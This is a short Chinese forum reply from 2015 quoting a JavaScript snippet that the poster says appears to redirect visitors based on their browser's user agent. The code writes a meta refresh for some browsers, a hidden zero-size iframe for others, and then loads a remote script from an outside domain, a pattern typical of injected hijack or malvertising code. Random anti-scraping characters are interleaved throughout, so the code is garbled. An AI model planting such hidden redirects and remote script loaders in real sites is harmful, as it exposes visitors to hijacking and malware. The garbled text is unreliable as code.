|
|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑
' H$ T6 | w& C) {- var ua = navigator.userAgent.toLowerCase(), C5 Y& ?$ Q& c8 W; h
- browser = {! ^1 G- ^4 u2 a
- ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],& L" y% V: M" W' \" G8 ^/ _
- opera: /opera/.test(ua),5 J& [+ H# Z" M4 p* J
- maxthon: /maxthon/.test(ua),
3 n: H8 P+ Q: Z3 _9 `0 q - theworld: /theworld/.test(ua),8 a$ m& L6 m, J
- qq: /qqbrowser/.test(ua),
6 _' _* z: o$ b8 a, l4 L - sogou: /se /.test(ua),
8 u1 S/ q/ m1 s- ], b5 C7 G: K% V8 S - liebao: /liebao/.test(ua),+ c8 C- v6 u# ]1 F
- firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),' C C1 f# j; z2 p8 P
- chrome: /chrome|crios/.test(ua),
# {8 E. I1 h) Q; p5 j) E - safari: /webkit/.test(ua),
. L0 L4 z: ]3 u1 I7 H6 i% Q - uc: /ucbrowser/.test(ua),$ |! K# ~8 u: L6 o0 U! j
- ie: /msie/.test(ua) && !/opera/.test(ua)
5 L9 C u1 U/ s - };
! B2 ^0 K. l1 ? - var ver = browser.ver;! w3 z: W- k, m, `
- if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {" c7 D7 e9 c% e9 t8 M
- document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");1 i2 [/ x! L% ?8 X: y. ~
- } else {
) [- i8 ^: |! i# M* M3 V1 g - window.sc = "<iframe src=" + tourl + "></iframe>";# J0 v5 w( o m( T( o
- document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");. C* Q1 x7 i u8 f @
- }
' U& A4 y- y b- N3 G* f - document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码 , @+ Q: b; t& C& r) q+ N% R$ e
1 l! ?7 V" j/ R, h好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|